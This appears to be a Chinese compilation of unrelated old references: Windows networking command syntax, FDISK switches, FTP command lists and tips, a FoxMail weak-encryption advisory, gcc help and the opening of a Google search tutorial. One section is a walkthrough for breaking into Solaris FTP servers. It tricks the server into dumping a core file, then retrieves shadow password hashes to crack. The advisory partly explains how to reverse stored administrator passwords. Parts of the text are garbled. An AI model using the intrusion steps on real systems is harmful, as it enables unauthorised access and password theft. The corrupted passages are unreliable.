格式必须为 [computer[.user]:]filename。如果忽略了 [computer[.user]:] 部分，计算机将假定为本地计算机。如果省略了 [.user] 部分，将使用当前登录的 Windows 2000 用户名。如果使用了完全合格的计算机名，其中包含句点 (.) 分隔符，则必须包含 [.user]。否则，计算机名的最后部分将解释为用户名。如果指定了多个源文件，则 destination 必须是目录。

如果文件名不是以 UNIX 的正斜杠 (/) 或 Windows 2000 系统的反斜杠 (\) 打头，则假定相对于当前的工作目录。在 Windows 2000 中，这是发出命令的目录。在远程系统中，这是远程用户的登录目录。句点 (.) 表示当前的目录。在远程路径中使用转义字符（\、" 或 '），以便在远程计算机中使用通配符。

Rexec
在运行 REXEC 服务的远程计算机上运行命令。rexec 命令在执行指定命令前，验证远程计算机上的用户名，只有安装了 TCP/IP 协议后才可以使用该命令。

rexec computer [-l username] [-n] command

参数

computer

指定要运行 command 的远程计算机。

-l username

指定远程计算机上的用户名。

-n

将 rexec 的输入重定向到 NULL。

command

指定要运行的命令。

Route
控制网络路由表。该命令只有在安装了 TCP/IP 协议后才可以使用。

route [-f] [-p] [command [destination] [mask subnetmask] [gateway] [metric costmetric]

参数

-f

清除所有网关入口的路由表。如果该参数与某个命令组合使用，路由表将在运行命令前清除。

-p

该参数与 add 命令一起使用时，将使路由在系统引导程序之间持久存在。默认情况下，系统重新启动时不保留路由。与 print 命令一起使用时，显示已注册的持久路由列表。忽略其他所有总是影响相应持久路由的命令。

command

指定下列的一个命令。

命令 目的
print 打印路由
add 添加路由
delete 删除路由
change 更改现存路由

destination

指定发送 command 的计算机。

mask subnetmask

指定与该路由条目关联的子网掩码。如果没有指定，将使用 255.255.255.255。

gateway

指定网关。

名为 Networks 的网络数据库文件和名为 Hosts 的计算机名数据库文件中均引用全部 destination 或 gateway 使用的符号名称。如果命令是 print 或 delete，目标和网关还可以使用通配符，也可以省略网关参数。

metric costmetric

指派整数跃点数（从 1 到 9999）在计算最快速、最可靠和（或）最便宜的路由时使用。

Rsh
在运行 RSH 服务的远程计算机上运行命令。该命令只有在安装了 TCP/IP 协议后才可以使用。

rsh computer [-l username] [-n] command

参数

computer

指定运行 command 的远程计算机。

-l username

指定远程计算机上使用的用户名。如果省略，则使用登录的用户名。

-n

将 rsh 的输入重定向到 NULL。

command

指定要运行的命令。

Tftp
将文件传输到正在运行 TFTP 服务的远程计算机或从正在运行 TFTP 服务的远程计算机传输文件。该命令只有在安装了 TCP/IP 协议后才可以使用。

tftp [-i] computer [get | put] source [destination]

参数

-i

指定二进制图像传送模式（也称为“八位字节”）。在二进制图像模式中，文件一个字节接一个字节地逐字移动。在传送二进制文件时使用该模式。

如果省略了 -i，文件将以 ASCII 模式传送。这是默认的传送模式。此模式将 EOL 字符转换为 UNIX 的回车符和个人计算机的回车符/换行符。在传送文本文件时应使用此模式。如果文件传送成功，将显示数据传输率。

computer

指定本地或远程计算机。

put

将本地计算机上的文件 destination 传送到远程计算机上的文件 source。

get

将远程计算机上的文件 destination 传送到本地计算机上的文件 source。

如果将本地计算机上的文件 file-two 传送到远程计算机上的文件 file-one，请指定 put。如果将远程计算机上的文件 file-two 传送到远程计算机上的文件 file-one，请指定 get。

因为 tftp 协议不支持用户身份验证，所以用户必须登录，并且文件在远程计算机上必须可以写入。

source

指定要传送的文件。如果本地文件指定为 -，则远程文件在 stdout 上打印出来（如果获取），或从 stdin（如果放置）读取。

destination

指定将文件传送到的位置。如果省略了 destination，将假定与 source 同名。

Tracert
该诊断实用程序将包含不同生存时间 (TTL) 值的 Internet 控制消息协议 (ICMP) 回显数据包发送到目标，以决定到达目标采用的路由。要在转发数据包上的 TTL 之前至少递减 1，必需路径上的每个路由器，所以 TTL 是有效的跃点计数。数据包上的 TTL 到达 0 时，路由器应该将“ICMP 已超时”的消息发送回源系统。Tracert 先发送 TTL 为 1 的回显数据包,并在随后的每次发送过程将 TTL 递增 1，直到目标响应或 TTL 达到最大值，从而确定路由。路由通过检查中级路由器发送回的“ICMP 已超时”的消息来确定路由。不过，有些路由器悄悄地下传包含过期 TTL 值的数据包，而 tracert 看不到。

tracert [-d] [-h maximum_hops] [-j computer-list] [-w timeout] target_name

参数

/d

指定不将地址解析为计算机名。

-h maximum_hops

指定搜索目标的最大跃点数。

-j computer-list

指定沿 computer-list 的稀疏源路由。

-w timeout

每次应答等待 timeout 指定的微秒数。

target_name

目标计算机的名称。

------------------------------SQL 整理


FDISK的参数开关

命令格式： FDISK /参数开关
/ACTOK 不检查磁盘表面是否有坏扇区
/CMBR 重新建立指定磁盘的主引导记录
/EXT 建立扩展分区
/FPRMT 在交互模式下询问FAT16或FAT32的使用
/LOG 建立磁盘逻辑分区
/LOGO 使用FAT16格式建立磁盘逻辑分区
/MBR 重新建立主磁盘的主引导记录
/PRI 建立主分区，并设定激活形式
/PRIO 使用FAT16格式建立主分区并设定为激活形式
/Q 结束FDISK时不重新启动计算机
/STATUS 显示当前分区状况
/X 不使用LBA属性

这些参数需谨慎使用


FoxMail企业地址簿口令使用弱加密算法

原创：tombkeeper

FoxMail企业地址簿口令使用弱加密算法

发现者：tombkeeper@126.com

描述：

FoxMail企业地址簿的系统管理员和域管理员口令都使用了弱加密算法。

详细：

FoxEAB（FoxMail企业地址簿）是FoxMail Server的一部分。经过分析发现，FoxEAB将加密后的系统管理员和域管理员口令存放在文件“id2entry.dbb”中“userPassword::” 字段后，且采用了类似多表代换的简单算法。此算法具体描述如下（部分细节暂不公布）：

1、明文可以是20到7E的所有ASCII字符。

2、将明文分为每3个字符一组，对每组分别加密。每组加密后的密文为4个字符。再将各组密文合并。以下叙述中如无特殊说明，所谓明文密文都是指每组明文密文对。

3、若明文字符数不是3的倍数，则对于末组明文有：明文数为1，则密文数为2；明文数为2，
则密文数为3。密文数不足四位用“=”补足。

4、密文第1位由明文第1位决定，关系如下：
如明文是 <sp>!"# 中任何一个则密文是 I ；（<sp>为空格）
如明文是 $ % & ' 中任何一个则密文是 J ；
......
如明文是 d e f g 中任何一个则密文是 Z ；
如明文是 h i j k 中任何一个则密文是 a ；
......
如明文是 |}~ 中任何一个则密文是 f 。

5、密文第2位由明文第1、2位决定。
明文第2位决定密文在哪4个字符中产生，明文第1位决定是4个字符中的哪一个。（具体略）

6、密文第3位由明文第2、3位决定。
明文第2位决定密文在哪2个字符中产生，明文第3位决定是2个字符中的哪一个。（具体略）

7、密文第4位由明文第3位决定，有如下一一对应关系：
明文是 <sp> 则密文是 g ；
明文是 3 则密文是 z ；
......
明文是 4 则密文是 0 ；
......
明文是 = 则密文是 9 ；
明文是 > 则密文是 + ；
明文是 ? 则密文是 / ；
明文是 @ 则密文是 A ；
......
明文是 Y 则密文是 Z ；
明文是 Z 则密文是 a ；
......
明文是 ~ 则密文是 + 。

建议：

给id2entry.dbb文件设置最小权限。由于id2entry.dbb只需供slapd.exe读写，而slapd.exe是作为一项服务“FoxLdapServer”以SYSTEM权限运行的，所以可以只保留SYSTEM的读写权。


ftp命令基本用法(共73条)

本文将为在DOS和UNIX操作系统下上网使用FTP功能的用户提供一些帮助。FTP命令是Internet用户使用最频繁的命令之一，不论是在DOS还是UNIX操作系统下使用FTP，都会遇到大量的FTP内部命令。 熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。
FTP的命令行格式为： ftp -v -d -i -n -g [主机名] ，其中
-v 显示远程服务器的所有响应信息；
-n 限制ftp的自动登录，即不使用；
.n etrc文件；
-d 使用调试方式；
-g 取消全局文件名。
FTP使用的内部命令如下(中括号表示可选项):
1.![cmd[args]：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip
2.$ macro-ame[args]： 执行宏定义macro-name。
3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。
4.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。
5.ascii：使用ascii类型传输方式。
6.bell：每个命令执行完毕后计算机响铃一次。
7.bin：使用二进制文件传输方式。
8.bye：退出ftp会话过程。
9.case：在使用mget时，将远程主机文件名中的大写转为小写字母。
10.cd remote-dir：进入远程主机目录。
11.cdup：进入远程主机目录的父目录。
12.chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如：chmod 777 a.out。
13.close：中断与远程服务器的ftp会话(与open对应)。
14.cr：使用asscii方式传输文件时，将回车换行转换为回行。
15.delete remote-file：删除远程主机文件。
16.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为0，表示取消debug。
17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件local-file。
18.disconnection：同close。
19.form format：将文件传输方式设置为format，缺省为file方式。
20.get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。
21.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。
22.hash：每传输1024字节，显示一个hash符号(#)。
23.help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。
24.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。
25.image：设置二进制传输方式(同binary)。
26.lcd[dir]：将本地工作目录切换至dir。
27.ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。
28.macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。
29.mdelete[remote-file]：删除远程主机文件。
30.mdir remote-files local-file：与dir类似，但可指定多个远程文件，如：mdir *.o.*.zipoutfile 。
31.mget remote-files：传输多个远程文件。
32.mkdir dir-name：在远程主机中建一目录。
33.mls remote-file local-file：同nlist，但可指定多个文件名。
34.mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。
35.modtime file-name：显示远程主机文件的最后修改时间。
36.mput local-file：将多个文件传输至远程主机。
37.newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。
38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。
39.nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。 该命令特别适用于远程主机为非UNIX机的情况。
40.ntrans[inchars[outchars]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。
41.open host[port]：建立指定ftp服务器连接，可指定连接端口。
42.passive：进入被动传输方式。
43.prompt：设置多个文件传输时的交互提示。
44.proxy ftp-cmd：在次要控制连接中，执行一条ftp命令， 该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。
45.put local-file[remote-file]：将本地文件local-file传送至远程主机。
46.pwd：显示远程主机的当前工作目录。
47.quit：同bye，退出ftp会话。
48.quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst.
49.recv remote-file[local-file]：同get。
50.reget remote-file[local-file]：类似于get， 但若local-file存在，则从上次传输中断处续传。
51.rhelp[cmd-name]：请求获得远程主机的帮助。
52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。
53.rename[from][to]：更改远程主机文件名。
54.reset：清除回答队列。
55.restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。
56.rmdir dir-name：删除远程主机目录。
57.runique：设置文件名唯一性存储，若文件存在，则在原文件后加后缀.1，.2等。
58.send local-file[remote-file]：同put。
59.sendport：设置PORT命令的使用。
60.site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。
61.size file-name：显示远程主机文件大小，如：site idle 7200。
62.status：显示当前ftp状态。
63.struct[struct-name]：将文件传输结构设置为struct-name， 缺省时使用stream结构。
64.sunique：将远程主机文件名存储设置为唯一(与runique对应)。
65.system：显示远程主机的操作系统类型。
66.tenex：将文件传输类型设置为TENEX机的所需的类型。
67.tick：设置传输时的字节计数器。
68.trace：设置包跟踪。
69.type[type-name]：设置文件传输类型为type-name，缺省为ascii，如：type binary，设置二进制传输方式。
70.umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3
71.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous my@email。
72.verbose：同命令行的-v参数，即设置详尽报告方式，ftp 服务器的所有响应都将显示给用户，缺省为on.
73.?[cmd]：同help.


FTP命令集锦

第十二章 FTP命令集锦 第1节FTP基本命令介绍 文件传输软件的使用格式为：FTP<FTP地址>，若连 接成功，系统将提示用户输入用户 名及口令：
LOGIN： (输入合法的用户名或者“ANONMOUS”)： PASSWORD： (输入合法的口令，若以“ANONMOUS”方式登录，一般不用口令)：
进入想要连接的FTP站点后，用户就可以进行相应的文件传输操作了，其中一些重要 的命令及相似的命令 如下：
1)HELP、 ?、RHEIP、REMOTEHELP
HELP显示LOCAL端的命令说明，若不接受则显示所有可用命令；
?相当于HELP，例如：?CD：
RHELP同HELP，只是它用来显示REMOTE端的命令说明；
REMOTEHELP相当于RHELP。
2)ASC(ASCll)、Bm(BmARY)、IMAGE、TYPE
ASCII切换传输模式为文字模式(只能用来传送DOC文件，因为是7-BIT)；
BINARY切换传输模式为二进制模式(除文字文件外皆用此模式)；
IMAGE相当于BINARY：
TYPE让你更改或显示目前传输模式。
3)BYE、QUIT
BYE退出FTP：
QUIT相当于BYE。
4)CD、CDUP、LCD、P～WD、 !
CD改变当前工作目录，例如：CD＼PUB；
CDUP回到上一层目录，相当于你打CD．．：
LCD让你更改或显示LOCAL端的工作目录，例如：LCD＼TMP；
PWD显示目前的工作目录(REMOTE端)：
!让你执行外壳命令，例如：!LS。
5)DELETE、MDELETE、RENAME
DELETE删除REMOTE端的文件：
MDELETE批量删除文件，需配合?或，*
RENAME更改REMOTE端的文件名。
6)GET、MGET、PUT、MPUT、RECV、SEND
GET下传文件；
MGET批量下传文件，需配合万用字元，例如：MGET*．GZ；
PUT上传文件；
MPUT批量上传文件，需配合万用字元；
RECV相当于GET(RECV为RECEWE的简写)：
SEND相当于PUT。
7)HASH、PROMPT、VERBOSE、STATUS、BELL
HASH切换#字号的出现，每一个#字号表示传送了1024／8192BYTES：
PROMPT切换iNTERACTIVEON／OFF；
VERBOSE切换所有文件传输过程的显示；
STATUS显示目前的一些参数：
BELL当指令做完时会发出叫声。
8)LS、DIR、MLS、MDIR、MKDIR、RMDIR
LS有点象UNIX下的LS(LIST)命令：
DIR相当于LS-L(LIST-LONG)；
MLS只是将远端某目录下的文件存于LOCAL端的某文件里；
MDIR相当于MLS；
MKDIR象DOS下的MD(创建子目录)一样：
RMDIR象DOS下的RD(删除子目录)一样。
9)OPEN、CLOSE、DISCONNECT、USER ·
OPEN连接某个远端FTP服务器；
CLOSE关闭目前的连接； DISCONNECT相当于CLOSE；
USER再输入一次用户名和口令(有点像UNIX下的SU)。
第二节FTP命令完全掌握
FTP命令是Intemet用户使用最频繁的命令之一，不论在DOS还在UNIX操作系统下使 用FTP，都会遇到大量的 FTP内部命令。熟悉并灵活应用FTP的内部命令，可以大大方便 使用者，并收到事半功倍之效。
FTP的命令行格式为：
FTP-v-d-i-n-g[主机名]，其中：
—v——显示远程服务器的所有响应信息；
—n．------限制FTP的自动登录，即不使用； ，
n-----etRc文件：
-d——使用调试方式：
·g——取消全局文件名。
FTP使用的内部命令如下(中括号表示可选项)：
1)[crud[args)1：在本地机中执行交互shell，exit回到FTP环境， 列如：！LS*．zip． 2)$macro-amc[args儿执行宏定义macro-name。
3)accountlpassword]：提供登录远程系统成功后访问系统资源所需的补充口令。
4)append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远系统文件名，则使用本地文件名。
5)aSCii：使用ascII型传输方式。
6)bell：每个命令执行完毕后计算机响铃—次
7)bin：使用二进制文件传输方式
8)bye．．退出FTP会话过程—
9)case：在使用mget时，将远程主文件名中的大写字母转为小写字母
10)cdremote·dir：进入远程主机目录。
11)cdup．．进入远程主机目录的父目录。
12)chmodmodefile-name：将远程主机文件file-name的存取方式设置为mode。
列如：chmod777a．OUt。
13)close：中断与远程服务器的FTP会话(与open对应)。
14)cr：使用aSSC“方式传输文件时，将回车换行转换为回行
15)deleteremote-file-删除远程主机文件：
16)debugldebug-value3：．设置调试方式，显示发送至远程主机的每条命令。
例如：debup3，若设为0，表示取消debug。
17)dir[remote-dir][Local-file]：显示远程主机目录，并将结果存入本地文件local-file：
18)disconnection-．同close。
19)formformat：将文件传输方式设置为format，缺省为file方式。
20)getremote-file[10cal-file]：将远程主机的文件remote-file传至本地硬盘的local-file。
21)glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行
的-g参数。
22)hash：每传输1024字节，显示一个hash符号(#)。
23)help[cmd]：显示FTP内部命令cmd的帮助信息，如．-helpget。
24)idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。
25)image：设置二进制传输方式(同binary)。
26)LCD[DIR]：将本地工作目录切换至dir。
27)LS[remote-DIR][LOCAL-FILE]：显示远程目录remote-dir，并存入本地文local-fileo
28)macdefmacro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。
29)mdelete[remote-file]：删除远程主机文件。
30)mdirremote-fileslocal-file：与dlr类似，但可指定多个远程文件。 ·
列如mdir*．O．*．zipoutfiLe。
31)mgetremote-files：传输多个远程文件。
32)mkdirdirname：在远程主机中建一目录。
33)misremote-filelocal-file．同nlist，但可指定多个文件名。
34)mode[modename]：将文件传输方式设置为modename，缺省为stream方式。
35)modtimefile-name．．显示远程主机文件的最后修改时间。 ·
36)mputlocal-file：将多个文件传输至远程主机，
37)newerfile-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间
巨近，则重新传输该文件。 ·
38)nlist正remote·di41local-file3：显示远程主机目录的文件清单，并存入本地硬盘的local-fileo
39)nmap[npattem outpattem]设置文件名映射机制，使得文件传输时，文件中的某些
字符相互转换，如：nmapSl．S2．S3[$1，$2][$2，$3]，则传输文件a1．a2．a3时，文件名变为a1，
a20该命令特别适用于远程主机为非UNIX机的情况o
40)ntrans[Inchars[outchars]]设置文件名字符的翻译机制，如ntranslR，则文件名LLI
将变为RRR。
41)openhost[port]：建立指定FTP服务器连接，可指定连接端口。
42)passive：进入被动传输方式。
43)prompt：设置多个文件传输时的交互提示。
44)proxy FTP-cmd：在次要控制连接中，执行一条FTP命令，该命令允许连接两个FTP服
务器，以在两个服务器间传输文件。第一条FTP命令必须为open，以首先建立两个服务器间
的连接。
45)putlocal-file[remote-file]：将本地文件local-file传送至远程主机。
46)vwd：显示远程主机的当前工作目录。
， 47)qmt-．同bye，退出FTP会话。
48)quote argl，arg2。。。：将参数逐字发至远程卸服务器，如：quote， syst。
49)recvremote-file[Local-file)：同get。
50)reget remote-file[Local-file]：类似于get，但若local-file存在，则从上次传输中断处
继续传输。
51)rhelp[cmd-name]：请求获得远程主机的帮助。
52)rstatus[FILe-name]：若未指定文件名，则显示远程主机的状态，否则显示文件状态，
53)rename[FRom)[to]：更改远程主机文件名。
54)reset：清除回答队列。
55)restart marker：从指定的标志marker处，重新开始get或put，如：restartl30。
56)rmdirdir-name：删除远程主机目录。
57)mnique：设置文件名惟一性存储，若文件存在，则在原文件后加后缀．1，．2等
58)send local-file[remote-file)：同put
59)sendport：设置PORT命令的使用。
60)siteargl，arg2。。。：将参数作为SITE命令逐字发送至远程卸主机。
61)sizefile-name：显示远程主机文件大小，如：Slteidle7200。
62)stares：。显示当前FTP状态。 ·
63)struct[struct-name]：将文件传输结构设置为struct-name，缺省时使用stream结构。
64)suniclue：将远程主机文件名存储设置为惟一(与mnique对应)。
65)system：显示远程主机的操作系统类型。
66)tenex：将文件：传输类型设置为TENEX机的所需的类型
67)tick：设置传输时的字节计数器
68)trace：设置包跟踪。
69)type[type-name)：设置文件传输类型为type-name，缺省为ascii，
例如：typebinary，设置二进制传输方式。
70)umask[newmask)：将远程服务器的缺省umask设置为newmask。 例如：umask 3。
71)user user-name [passwordⅡaccount]：向远程主机表明自己的身份，需要口令时，必
须输入口令，如：useranonymousmy@emaiL。
72)verbose：同命令行的-v参数，即设置详尽报告方式，FTP服务器的所有响应都将显
示给用户，缺省为on。
73)?[cmd]：同help。
是从书上找的，也许大家能用到！！


ftp入侵

Solaris 2.4, Solaris 2.5, Solaris 2.5.1
这 可 能 是 目 前 为 止 最 简 单 ，但 又 是 最 有 效 的 入 侵 方 法 了 。
1、首 先 登 陆 上 你 的 ISP 的 主 机 ，WIN95 用 户 请 使 用其自带的ftp.exe。 运行后
要做的步骤如下：
ftp>open xxx.xxx.xxxx.xxxx;你要登录的ftp主机名，如果不晓得，可以
试验一下自己email地址@后的部分。
ftp>Login:以你自己的名称及密码登录。
ftp> cd /tmp；进入主机tmp目录，因为这个目录全局可读写的，cd 命令后
记得要带个空格。
ftp> user root；这个命令尝试以root登录，接着系统会问你密码。
ftp> password;wrongpasswd；这里wrongpasswd的意思就是对于系统要你
输入的密码随便打一气。
ftp> quote pasv；照打
ftp> dis；暂时断开连接
下一步再次进入。
ftp> open xxx.xxx.xxxx.xxxx;
ftp> cd /tmp；
ftp> get core;取得core文件。

ftp> bye；断开连接。
2、实际上此时你可能已经取得系统的shadow了，虽然只是局部的shadow，
现在看看win95的桌面，应该有一个叫core的图标，看看此文件的长度，如
果非0，则恭喜你，现在使用“写字板”打开此文件，开始可能是一大堆乱
码，不去理他，直到你找到如下所示的部分。
root:a%r&ty12S3w^:12485::::
daemon:ddawd324:2444e432:::::
bin:eeqfv4354242:5353::::::::
......
这就是系统的shadow，立即剪辑成新文件，然后开始进行解密。
更有趣的是在sun-os5.4中，这个core文件的属性是rw-rw-rw，并且属于
root所有，再后面应该不用再讲了。


FTP使用技巧

FTP(文件传输)和E-mail(电子邮件)、Telnet(远程登录)一样,是Internet的三大主要功能之一。因为使用频繁,用户往往会遇到各种各样的问题,合理利用FTP命令的初始化文件.netrc,使运行FTP后自动执行某些FTP的内部命令,可有效地克服各种使用中的不便,极大地方便FTP的使用者。

·netrc中应包含的基本命令

FTP中有几十个命令,在.netrc中应该设置的大致有如下几条:
1.default login<login_name>password<password>
在Internet中,存在大量的匿名ftp帐户,用户在不同的主机间频繁登录anonymous帐户,输入自
己的电子邮件地址作为口令,这种输入极其繁琐,完全有必要利用.netrc文件,在进入ftp时自动
完成该过程。
2.binary
许多用户在下载大量文件之后才意识到下载的文件是二进制文件,而自己却是使用ascii方式传
输,使下载文件无法使用,做了许多无用功。在.netrc文件中提前将传输方式设置为binary,完全
可避免出现上述情况。
3.runique
使用Internet的用户都知道,在浩如烟海的文件中,有大量同名文件,如readme、index等,如果
将同名文件下载到同一目录,则新传的文件会覆盖原同名文件。为了使具有潜在重要性的文件不
至于被意外覆盖,也需要在.netrc文件中,设置runique参数防止上述错误。
4.prompt off
使用ftp时,经常会用到mget或其它需要确认的ftp命令,将此确认过程取消,可大大方便使用者。
5.hash on
ftp中的hash命令,使得在进行文件传输时,每传输1千字节,在屏幕上显示一个"#"号,用户通过观
看屏幕上的"#"号,可以很直观地看到传输速度的快慢,以及文件的传输完成情况,以决定进一步的
操作。
6.idle 7200
目前国内的Internet专线速率普遍偏低,用户数却在急剧膨胀,所以用ftp传输销大一些的文件
时,经常会因为线路拥塞而断线,致使ftp进程中断,为了减少因断线而反复登录的次数,需将idle
命令的参数设置为最大(一般为7200秒)。
7.macdef<macro_name>
macdef定义一个宏,macro_name为宏定义的名称。在macdef行下,可输入任何有效的ftp命令,并
以空行结束宏定义,执行时只需在宏名前加"$"号即可。如果宏名定义为init,则该宏命令在启动
ftp后自动加以执行,无需用户输入$ macro_name。

·netrc的使用举例

1.用vi编辑器先编辑一个如下的文件:
default login anonymous password user@my.site
macdef init
binary .
runique .
hash on .
prompt off
idle 7200
(空行)
第1行意为缺省情况下,进入anonymous帐户,并以自己的电子邮件地址为口令;第2行至第8行定义
了宏init,该宏中的所有5条命令将在进入ftp环境后立刻执行,第8行(空行)不可省略,否则为无
效宏定义。
2.利用.netrc可将用户所需操作大大简化,极大地提高工作效率。如,利用archie命令查找到文件
xplaygizmo-1.0.gz在匿名ftp主机上unsite.unc.e-du的目
/pub/packages/solaris/freeware下,用户欲将该文件用ftp下载,只需用vi编辑器将archie的
查找结果插入到.netrc文件空行之上,即增加下列三行:
cd/pub/packages/solaris/freeware
get xplaygizmo-1.0.gz
bye
(空行)
运行ftp sunsite.unc.edu,即自动完成上述.netrc中的所有操作,无需任何人工干预。屏幕将
显示类似于下面的结果:
Connected to sunsite.unc.edu.
220 calzone FTP server(Version wu-2.4(38)Wed 0ct 2 09:30:40 EDT 1996)ready
331 Guest login ok,send your complete e-mail address as password.
230.............
230 Guest login ok,access resrictions apply.
200 Type set to I.
Receive unique on.
Hash mark printing on (1024 bytes/hash mark).
Interactive mode off.
200 Maximum IDLE time set to 7200 seconds
cd/pub/packages/solaris/freeware
250 CWD command successful.
get xplaygizmo-1.0.gz
200 PORT command successful.
150 Opening BINARY mode data connection for xplaygizmo-1.0.gz(8753 bytes).
########
226 Transfer complete.
8753 bytes received in 50.8 secs(0.17 Kbytes/sec)
221 Goodbye.

缺省时,运行ftp命令将检测用户的HOME目录中的.netrc文件,并自动加以执行,如果不想使
用.netrc,可在ftp命令行中使用-n参数加以取消。


FTP中的两种工作方式

作者：momo 电子信箱：momo@371.net

下面的文章介绍了FTP的两种模式和在实际工作中的一些注意事项和使用技巧，希望对大家有所帮助，并和大家一起来探讨、交流。
FTP是一种文件传输协议，它支持两种模式,一种方式叫做Standard (也就是 Active,主动方式),一种是 Passive (也就是PASV,被动方式)。 Standard模式 FTP的客户端发送 PORT 命令到FTP server。Passive模式FTP的客户端发送 PASV命令到 FTP Server。
下面介绍一个这两种方式的工作原理:
Standard模式FTP 客户端首先和FTP Server的TCP 21端口建立连接，通过这个通道发送命令，客户端需要接收数据的时候在这个通道上发送PORT命令。 PORT命令包含了客户端用什么端口接收数据。在传送数据的时候，服务器端通过自己的TCP 20端口发送数据。 FTP server必须和客户端建立一个新的连接用来传送数据。
Passive模式在建立控制通道的时候和Standard模式类似，当客户端通过这个通道发送PASV 命令的时候，FTP server打开一个位于1024和5000之间的随机端口并且通知客户端在这个端口上传送数据的请求，然后FTP server 将通过这个端口进行数据的传送，这个时候FTP server不再需要建立一个新的和客户端之间的连接。
现在的FTP软件里面包括在IE5以上的版本里面也已经支持这两种模式了。一般一些FTP客户端的软件就比较好设置了，一般都有一个PASV的选项，比如CuteFTP，传输的方式都有Standard和PASV的选项，可以自己进行选择；另外在IE里面如果要设置成PASV模式的话可以选中工具－Internet选项－高级－为FTP站点启用文件夹视图，否则就采用Standard模式。
很多防火墙在设置的时候都是不允许接受外部发起的连接的，所以FTP的Standard模式在许多时候在内部网络的机器通过防火墙出去的时候受到了限制，因为从服务器的TCP 20无法和内部网络的客户端建立一个新的连接，造成无法工作。当然也可以设置成功，首先要创建一条规则就是允许内部的IP连接外部的IP的21端口；第二条就是禁止外部IP的TCP 20端口连接内部IP的<1024的端口，这条是为了防止外部连接内部的常规端口；第三条验证ACK是否等于1，这个的原理就参见TCP建立连接的三次握手吧。所以如果安全的配置的话非常困难，这个时候就想起来了PASV模式，因为不用建立新的连接，所以也就不会涉及到后面的问题了。但是管理员可能不想使用PASV模式，因为这个时候FTP Server会开放一个随机的高端口，尽管在IIS4和IIS5里面端口的范围是1024－5000，但是许多FTP Server的端口范围达到了1024－65535，这个时候在这个主动开放的随机端口上是有完全的访问权限的，如果IIS也要设置成开放的端口为1024－65535，具体方法如下：
1. regedt32
2. 找到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
3. 编辑－添加－数值
Value Name: MaxUserPort Data Type: REG_DWORD Value: 65534 <for example&g t;

所以如果遇到了有防火墙的话或者怕配置麻烦的话还是采用PASV模式比较好些，但是如果真的对安全的需求很高的话建议采用Standard模式。

Momo
2002-2-1


gcc

Usage: gcc [options] file...
Options:
-pass-exit-codes Exit with highest error code from a phase
--help Display this information
(Use '-v --help' to display command line options of sub-processes)
-dumpspecs Display all of the built in spec strings
-dumpversion Display the version of the compiler
-dumpmachine Display the compiler's target processor
-print-search-dirs Display the directories in the compiler's search path
-print-libgcc-file-name Display the name of the compiler's companion library
-print-file-name=<lib> Display the full path to library <lib>
-print-prog-name=<prog> Display the full path to compiler component <prog>
-print-multi-directory Display the root directory for versions of libgcc
-print-multi-lib Display the mapping between command line options and
multiple library search directories
-Wa,<options> Pass comma-separated <options> on to the assembler
-Wp,<options> Pass comma-separated <options> on to the preprocessor
-Wl,<options> Pass comma-separated <options> on to the linker
-Xlinker <arg> Pass <arg> on to the linker
-save-temps Do not delete intermediate files
-pipe Use pipes rather than intermediate files
-time Time the execution of each subprocess
-specs=<file> Override builtin specs with the contents of <file>
-std=<standard> Assume that the input sources are for <standard>
-B <directory> Add <directory> to the compiler's search paths
-b <machine> Run gcc for target <machine>, if installed
-V <version> Run gcc version number <version>, if installed
-v Display the programs invoked by the compiler
-E Preprocess only; do not compile, assemble or link
-S Compile only; do not assemble or link
-c Compile and assemble, but do not link
-o <file> Place the output into <file>
-x <language> Specify the language of the following input files
Permissable languages include: c c++ assembler none
'none' means revert to the default behaviour of
guessing the language based on the file's extension

Options starting with -g, -f, -m, -O or -W are automatically passed on to
the various sub-processes invoked by gcc. In order to pass other options
on to these processes the -W<letter> options must be used.

For bug reporting instructions, please see:
<URL:http://www.gnu.org/software/gcc/bugs.html>.


GOOGLE搜索从入门到精通

GOOGLE搜索从入门到精通v3.0

11/2/2000
donquix@sina.com
donquix
------------------------------
内容

1，前言
2，摘要
3，如何使用本文
4，GOOGLE简介
5，搜索入门
6，初阶搜索
6.1，搜索结果要求包含两个及两个以上关键字
6.2，搜索结果要求不包含某些特定信息
6.3，搜索结果至少包含多个关键字中的任意一个
6.4，“+”、“-”和“OR”的混合查询
6.5，用“+”和“-”减少冗余信息
7，辅助搜索
7.1，通配符问题
7.2，关键字的字母大小写
7.3，搜索整个句子
